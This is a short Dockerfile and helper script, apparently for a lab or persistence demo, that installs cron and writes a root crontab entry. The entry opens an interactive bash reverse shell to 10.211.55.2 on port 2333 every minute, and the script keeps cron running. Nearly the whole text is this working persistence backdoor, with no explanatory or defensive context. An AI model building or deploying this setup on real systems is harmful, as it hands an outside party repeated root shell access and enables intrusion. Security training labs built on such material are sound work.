Dockerfile:
FROM ubuntu:20.04
COPY ./1.sh /1.sh
RUN apt-get update && \
apt-get install -y cron && \
echo '* * * * * bash -c "bash -i >& /dev/tcp/10.211.55.2/2333 0>&1"' > /var/spool/cron/crontabs/root && \
chown -R root:crontab /var/spool/cron/crontabs/root && \
chmod 600 /var/spool/cron/crontabs/root && \
chmod 755 /1.sh
CMD ["sh","/1.sh"]1.sh:
/etc/init.d/cron start
while :
do
sleep 1
done